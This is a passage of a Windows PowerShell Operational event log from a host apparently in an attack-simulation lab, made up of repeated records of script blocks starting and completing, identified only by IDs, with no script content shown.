Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027763
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027762
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027761
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027760
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027744
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027743
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027738
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027737
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
